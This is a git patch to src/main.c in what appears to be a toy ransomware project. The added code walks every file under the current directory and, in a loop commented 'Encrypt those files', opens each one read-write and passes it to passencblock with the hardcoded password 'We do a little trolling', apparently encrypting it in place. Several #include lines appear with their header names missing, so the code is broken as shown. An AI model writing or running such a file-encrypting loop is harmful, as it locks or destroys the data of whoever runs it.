From 221f41078fc42fffce49e59ed338819516594607 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Sat, 29 Jun 2024 05:12:39 -0500 Subject: Try again --- src/main.c | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/src/main.c b/src/main.c index ffce943..6395acd 100644 --- a/src/main.c +++ b/src/main.c @@ -15,14 +15,28 @@ #include "search.h" #include "ll.h" +#include +#include +#include +#include + +#include +#include + int main() { // Get folders struct nodelist *files = scanfiles("./", alphasort); // Encrypt those files for(struct nodelist *p = files; p != NULL; p = p->next) { - int fd = open(p->fullpath); + int fd = open(p->fullpath, O_RDWR); + if(fd < 0) { + error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath); + continue; + } + passencblock(fd, "We do a little trolling"); + close(fd); } nodelist_delete(files); -- cgit v1.2.3